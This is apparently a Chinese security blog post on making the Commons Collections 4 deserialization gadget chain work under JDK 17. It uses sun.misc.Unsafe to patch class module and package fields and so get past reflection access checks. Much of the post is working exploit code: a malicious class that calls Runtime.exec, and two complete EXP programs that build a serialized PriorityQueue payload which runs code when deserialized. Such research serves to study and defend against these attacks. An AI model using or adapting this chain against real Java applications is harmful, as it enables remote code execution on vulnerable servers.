JDK17反射限制

定位到setAccessible

image-20240923134221150

我们给非public字段或方法设置访问权限为 true 时会调用checkCanSetAccessible 去检查对应的类。

image-20240923134311774

可以看到这里是判断我们是否有权限去修改目标字段或方法的访问权限

只要判断我们调用者类和目标类是一个module,或者调用类的module和Object类的module一样,就可以有修改权限

那我们可以尝试利用Unsafe来修改当前类的module属性和 java.* 下类的module属性一致来绕过

Unsafe类中有个 getAndSetObject 方法,其和反射赋值功能差不多,利用这个修改调用类的module

Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);  //获取Unsafe实例
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(main.class, addr, Object.class.getModule());//修改main的module为Class类的module

evil.class

首先是恶意类的限制

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import java.io.IOException;

public  class eval extends AbstractTranslet{
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

低版本jdk的恶意类,原因是TemplatesImpl在恶意类加载的时候会检查恶意类的父类是不是AbstractTranslet类,如果不是,则_transletIndex不会赋值,其默认值为-1,小于0的话就会抛出异常,导致代码块无法执行。

image-20250901154121597

而想要绕过第一个if,首先想到的就是重写evil class的getSuperclass()方法,但是由于evil是class类,不能继承,所以尝试走后面绕过,显示判断父类不是AbstractTranslet类走到else分支。

image-20250901155222805

正常下_auxClasses为null,所以put会报空指针错误,所以下面的思路是找那里可以修改_auxClasses

image-20250901155538954

同样在defineTransletClasses方法里,当classCount也就是_bytecodes.length 大于1的时候就会对_auxClasses赋值

所以反射修改_bytecodes.length

setFiled(templates,"_bytecodes",new byte[][]{code,code2});

这样length==2,即可绕过。

import java.io.IOException;

public class eval {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

    public Class<?> getSuperclass() {
        return eval.class;
    }
}

绕过newInstance限制

正常的CC4的链子是这样的

PriorityQueue#readIObject->
TransformingComparator#compare->
InstantiateTransformer#transform-> (类构造器,构造TrAXFilter)
TrAXFilter#newTransformer->
TemplatesImpl#newTransformer->
TemplatesImpl#getTransletInstance->(类初始化)
TemplatesImpl#defineTransletClasses->
defineClass(类加载)

image-20250901161126184

实例化TrAXFilter类的时候是通过newInstance加载的,这也是反射,依然收到JDK17的限制。套层Unsafe类修改InstantiateTransformer的模块原理上是可以的,但是远程环境反序列化无法套unsafe。

所以作者想通过ChainedTransformeConstantTransformer执行Unsafe代码修改完模块再回到cc4。

也就是实现

Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);  //获取Unsafe实例
Object ObjectModule = Class.class.getMethod("getModule").invoke(targetclass);//获取目标模块
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));//获取偏移
unsafe.getAndSetObject(currentclass, addr, Object.class.getModule());//修改main的module为Class类的module

2次调用

想要实现

unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe)unsafeField.get(null);

需要在transform链中两次调用unsafeField,所以需要这样的一个结构

public T transform(final T input) {
    iTransformer.transform(input);
    return input;
 }

通过iTransformer.transform(input);执行unsafeField.setAccessible(true);然后再返回unsafeField

然后作者就找到了ClosureTransformer#transformTransformerClosure#execute

//ClosureTransformer#transform
public T transform(final T input) {
    iClosure.execute(input);
    return input;
}
//TransformerClosure#execute
public void execute(final E input) {
        iTransformer.transform(input);
    }

通过ClosureTransformer#transform调用TransformerClosure#execute执行unsafeField.setAccessible(true);

然后返回一个修改过的unsafeField

所以反射获取unsafe类的demo如下

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.*;
import sun.misc.Unsafe;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class main {
    public static void main(String[] args) throws Exception {
        Class UnsafeClass = Class.forName("sun.misc.Unsafe");
        InvokerTransformer invokerTransformer3 = new InvokerTransformer("get", new Class[]{Object.class}, new Object[]{null});
        InvokerTransformer invokerTransformer2 = new InvokerTransformer("setAccessible", new Class[]{boolean.class}, new Object[]{true});
        TransformerClosure transformerClosure = new TransformerClosure(invokerTransformer2);
        ClosureTransformer ClosureTransformer = new ClosureTransformer(transformerClosure);
        InvokerTransformer invokerTransformer = new InvokerTransformer("getDeclaredField", new Class[]{String.class}, new Object[]{"theUnsafe"});
        ConstantTransformer constantTransformer = new ConstantTransformer(UnsafeClass);
        Transformer[] transformers = new Transformer[]{
                constantTransformer,
                invokerTransformer,
                ClosureTransformer,
                invokerTransformer3
        };
        Transformer keyTransformer = new ChainedTransformer(transformers);

        FileOutputStream fos = new FileOutputStream("bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(keyTransformer);
        oos.close();

        FileInputStream fis = new FileInputStream("bin");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Transformer o1 = (Transformer) ois.readObject();
        ois.close();

        Object transform = o1.transform(null);  // 模拟触发
        System.out.println(transform);
    }
}

执行流程

Class UnsafeClass = Class.forName("sun.misc.Unsafe")
UnsafeClass.getDeclaredField("theUnsafe") //返回field
ClosureTransformer.transform->ClosureTransformer#execute->invokerTransformer2
(Unsafe) field.get(null);

调试一下

image-20250901171624552

可以看到input为theUnsafe这个field

iClosure为TransfomerClosure

image-20250901171812470

执行了invokerTransformer2即setAccessible

image-20250901171956606

image-20250901172102730

之后返回这个反射的Unsafe类,最后再get null实现以下过程

Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);  //获取Unsafe实例

绕过setAccessible限制

然后问题出在下面的第三步

Object ObjectModule = Class.class.getMethod("getModule").invoke(targetclass);//获取目标模块
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));//获取偏移
unsafe.getAndSetObject(currentclass, addr, Object.class.getModule());//修改main的module为Class类的

Object.class.getModule()是一个Module类,不能反序列化,也不太可能通过trasform构造传到getAndSetObject的参数里。

然后作者试图从模块检测突破

image-20250901173440116

如果模块相等返回true,否则进入else,如果想返回true,只能从memberModule.isExported下手

image-20250901174101751

然后调用implIsExportedOrOpen返回,跟进

image-20250901174338117

如果目标模块没有名字则返回true,但是java不允许获取Module类修改module name

第二个if要求两个模块相等,不满足。

第三个if要求当前模块是open的,不满足。

只能尝试isStaticallyExportedOrOpen

image-20250901174825842

第二个if 先是获取白名单模块exportedPackages,然后检查被调用类的package值是否在白名单里,跟进检查

image-20250901175058522

只要target不是null永远返回true,也就是说只要目标类的package在白名单里就能返回true

image-20250901175338378

pn是Class类的packageName属性可以反射修改那么就能就能绕过setAccessible限制

看下白名单package

image-20250901201136515

随便找一个给getAndSetObject的第三个参数

new InvokerTransformer("getAndSetObject",new Class[]{Object.class,long.class,Object.class}, new Object[]{TrAXFilter,60,"javax.xml"});

完美newInstance

可以看一下通过Unsafe之后的newInstance

image-20250902153417123

然后在下面进行模块检查

image-20250902153539253

image-20250902154059372

模块不相等,然后判断包名

image-20250902154202994

TrAXFilter的模块已经被patch成java.xml,所以他的包名也变成了java.xml

然后跟到isStaticallyExportedOrOpen

image-20250902154401501

image-20250902154440712

packagename确实在白名单里,所以TrAXFilter可以正常实例化。

作者的遗漏

image-20250902160124003

就是这个地方,可以直接把两个模块patch成null即可返回true,并且不会进入到else,很easy,依然利用

ClosureTransformer#transformTransformerClosure#execute实现两次unsafe的getAndSetObject方法调用

//step12
InstantiateTransformer invokerTransformer5=new InstantiateTransformer<>(new Class[]{Templates.class},new Object[]{templatesImpl});
//step11
ConstantTransformer constantTransformer2 = new ConstantTransformer(TrAXFilter);
//step10
InvokerTransformer invokerTransformer4 = new InvokerTransformer("getAndSetObject",new Class[]{Object.class,long.class,Object.class}, new Object[]{TrAXFilter,48,null});
//step9
InvokerTransformer invokerTransformer7 = new InvokerTransformer("getAndSetObject",new Class[]{Object.class,long.class,Object.class}, new Object[]{instantiateTransforme,48,null});
//step8
TransformerClosure transformerClosure2 = new TransformerClosure(invokerTransformer7);
//step7
ClosureTransformer ClosureTransformer2 = new ClosureTransformer(transformerClosure2);
//step6
InvokerTransformer invokerTransformer3 = new InvokerTransformer("get", new Class[]{Object.class}, new Object[]{null});
//step5
InvokerTransformer invokerTransformer2 = new InvokerTransformer("setAccessible", new Class[]{boolean.class}, new Object[]{true});
//step4
TransformerClosure transformerClosure = new TransformerClosure(invokerTransformer2);
//step3
ClosureTransformer ClosureTransformer = new ClosureTransformer(transformerClosure);
//step2
InvokerTransformer invokerTransformer = new InvokerTransformer("getDeclaredField", new Class[]{String.class}, new Object[]{"theUnsafe"});
//step 1
ConstantTransformer constantTransformer = new ConstantTransformer(Class.forName("sun.misc.Unsafe"));

image-20250902174701953

思考

其实主要还是cc4这个链子,但是由于高版本jdk模块化的设计导致不能任意反射。而在TrAXFilter实例化的时候就是调用链反射,所以直接patch 它的调用者也就是InstantiateTransformer的module跟TrAXFiltermodule一样是ok的。但是服务端的无法patch,所以想通过反射创建一个Unsafe类进行patch,然后发现可以通过判断pn(package name)进行绕过,直接把TrAXFilter的pn patch成白名单包名就可以成功实例化。

其实主要就是针对JDK17里面的模块化检测绕过来实现newInstance(),然后找一些特殊结构transformer来实现Unsafe类的构造。

EXP

transformer构造Unsafe

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.*;
import sun.misc.Unsafe;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class Main {
    public static void main(String[] args) throws Exception {
        byte[] code= Files.readAllBytes(Paths.get("E:\\JAVAsec\\mycc3\\src\\main\\java\\org\\example\\eval.class"));
        byte[][] codes={code};
        byte[] code2 = Main.class.getResourceAsStream("main.class").readAllBytes();
        Class<?> templatesImplclass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        //加载TemplatesImpl模块打CC4后半部分
        unsafepatch(Main.class,templatesImplclass);
        Object templatesImpl =  templatesImplclass.getDeclaredConstructor().newInstance();

        setFieldValue(templatesImpl,"_name","1212");
        setFieldValue(templatesImpl,"_bytecodes",new byte[][]{code,code2});
        setFieldValue(templatesImpl,"_transletIndex",0);

        Class TrAXFilter=Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter");
        //step9
        InstantiateTransformer invokerTransformer5=new InstantiateTransformer<>(new Class[]{Templates.class},new Object[]{templatesImpl});
        //step8
        ConstantTransformer constantTransformer2 = new ConstantTransformer(TrAXFilter);
        //step7
        InvokerTransformer invokerTransformer4 = new InvokerTransformer("getAndSetObject",new Class[]{Object.class,long.class,Object.class}, new Object[]{TrAXFilter,60,"javax.xml"});
        //step6
        InvokerTransformer invokerTransformer3 = new InvokerTransformer("get", new Class[]{Object.class}, new Object[]{null});
        //step5
        InvokerTransformer invokerTransformer2 = new InvokerTransformer("setAccessible", new Class[]{boolean.class}, new Object[]{true});
        //step4
        TransformerClosure transformerClosure = new TransformerClosure(invokerTransformer2);
        //step3
        ClosureTransformer ClosureTransformer = new ClosureTransformer(transformerClosure);
        //step2
        InvokerTransformer invokerTransformer = new InvokerTransformer("getDeclaredField", new Class[]{String.class}, new Object[]{"theUnsafe"});
        //step 1
        ConstantTransformer constantTransformer = new ConstantTransformer(Class.forName("sun.misc.Unsafe"));

        Transformer[] transformers = new Transformer[]{
                constantTransformer,
                invokerTransformer,
                ClosureTransformer,
                invokerTransformer3,
                invokerTransformer4,
                constantTransformer2,
                invokerTransformer5
        };

        Transformer chainedTransformer = new ChainedTransformer(transformers);
        TransformingComparator transformingComparator=new TransformingComparator(chainedTransformer);

        PriorityQueue   priorityQueue = new PriorityQueue(transformingComparator);
        unsafepatch(Main.class,priorityQueue.getClass());
        setFieldValue(priorityQueue,"size",2);


        serialize(priorityQueue);
        unserialize();
    }
    public static  void serialize(Object object) throws IOException {
        FileOutputStream fileOutputStream = new FileOutputStream("E:\\tao.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(object);
        objectOutputStream.close();
        fileOutputStream.close();
    }
    public static  void unserialize() throws IOException, ClassNotFoundException {
        FileInputStream fileInputStream = new FileInputStream("E:\\tao.txt");
        ObjectInputStream objectIntputStream = new ObjectInputStream(fileInputStream);
        objectIntputStream.readObject();
        objectIntputStream.close();
        fileInputStream.close();
    }
    private static void unsafepatch(Class currentclass,Class targetclass) throws IllegalAccessException, NoSuchFieldException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException {
        Class unsafeClass = Class.forName("sun.misc.Unsafe");
        Field field = unsafeClass.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe = (Unsafe) field.get(null);  //获取Unsafe实例
        Object ObjectModule = Class.class.getMethod("getModule").invoke(targetclass);//获取目标模块
        long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));//获取偏移
        unsafe.getAndSetObject(currentclass, addr, ObjectModule);//修改main的module为Class类的module
    }
    private static void setFieldValue(Object obj, String field, Object arg) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
}

image-20250902174943018

双nulll

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.*;
import sun.misc.Unsafe;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class cc41 {
    public static void main(String[] args) throws Exception {

        byte[] code= Files.readAllBytes(Paths.get("E:\\JAVAsec\\mycc3\\src\\main\\java\\org\\example\\eval.class"));
        byte[][] codes={code};
        byte[] code2 = cc41.class.getResourceAsStream("main.class").readAllBytes();
        Class<?> templatesImplclass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        //加载TemplatesImpl模块打CC4后半部分
        unsafepatch(cc41.class,templatesImplclass);
        Object templatesImpl =  templatesImplclass.getDeclaredConstructor().newInstance();

        setFieldValue(templatesImpl,"_name","1212");
        setFieldValue(templatesImpl,"_bytecodes",new byte[][]{code,code2});
        setFieldValue(templatesImpl,"_transletIndex",0);


        Class TrAXFilter=Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter");
        Class instantiateTransforme=Class.forName("org.apache.commons.collections4.functors.InstantiateTransformer");
        //step12
        InstantiateTransformer invokerTransformer5=new InstantiateTransformer<>(new Class[]{Templates.class},new Object[]{templatesImpl});
        //step11
        ConstantTransformer constantTransformer2 = new ConstantTransformer(TrAXFilter);
        //step10
        InvokerTransformer invokerTransformer4 = new InvokerTransformer("getAndSetObject",new Class[]{Object.class,long.class,Object.class}, new Object[]{TrAXFilter,48,null});
        //step9
        InvokerTransformer invokerTransformer7 = new InvokerTransformer("getAndSetObject",new Class[]{Object.class,long.class,Object.class}, new Object[]{instantiateTransforme,48,null});
        //step8
        TransformerClosure transformerClosure2 = new TransformerClosure(invokerTransformer7);
        //step7
        ClosureTransformer ClosureTransformer2 = new ClosureTransformer(transformerClosure2);



        //step6
        InvokerTransformer invokerTransformer3 = new InvokerTransformer("get", new Class[]{Object.class}, new Object[]{null});
        //step5
        InvokerTransformer invokerTransformer2 = new InvokerTransformer("setAccessible", new Class[]{boolean.class}, new Object[]{true});
        //step4
        TransformerClosure transformerClosure = new TransformerClosure(invokerTransformer2);
        //step3
        ClosureTransformer ClosureTransformer = new ClosureTransformer(transformerClosure);
        //step2
        InvokerTransformer invokerTransformer = new InvokerTransformer("getDeclaredField", new Class[]{String.class}, new Object[]{"theUnsafe"});
        //step 1
        ConstantTransformer constantTransformer = new ConstantTransformer(Class.forName("sun.misc.Unsafe"));

        Transformer[] transformers = new Transformer[]{
                constantTransformer,
                invokerTransformer,
                ClosureTransformer,
                invokerTransformer3,
                ClosureTransformer2,

                invokerTransformer4,
                constantTransformer2,
                invokerTransformer5
        };

        Transformer chainedTransformer = new ChainedTransformer(transformers);
        TransformingComparator transformingComparator=new TransformingComparator(chainedTransformer);

        PriorityQueue   priorityQueue = new PriorityQueue(transformingComparator);
        unsafepatch(cc41.class,priorityQueue.getClass());
        setFieldValue(priorityQueue,"size",2);


        serialize(priorityQueue);
        unserialize();
    }
    public static  void serialize(Object object) throws IOException {
        FileOutputStream fileOutputStream = new FileOutputStream("E:\\tao.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(object);
        objectOutputStream.close();
        fileOutputStream.close();
    }
    public static  void unserialize() throws IOException, ClassNotFoundException {
        FileInputStream fileInputStream = new FileInputStream("E:\\tao.txt");
        ObjectInputStream objectIntputStream = new ObjectInputStream(fileInputStream);
        objectIntputStream.readObject();
        objectIntputStream.close();
        fileInputStream.close();
    }
    private static void unsafepatch(Class currentclass,Class targetclass) throws IllegalAccessException, NoSuchFieldException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException {
        Class unsafeClass = Class.forName("sun.misc.Unsafe");
        Field field = unsafeClass.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe = (Unsafe) field.get(null);  //获取Unsafe实例
        Object ObjectModule = Class.class.getMethod("getModule").invoke(targetclass);//获取目标模块
        long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));//获取偏移
        unsafe.getAndSetObject(currentclass, addr, ObjectModule);//修改main的module为Class类的module
    }
    private static void setFieldValue(Object obj, String field, Object arg) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
}

image-20250902175021038

参考连接
https://jiecub3.github.io/zh/posts/java/chain/jdk17cc%E9%93%BE%E4%B8%8B%E5%88%A9%E7%94%A8templatesimpl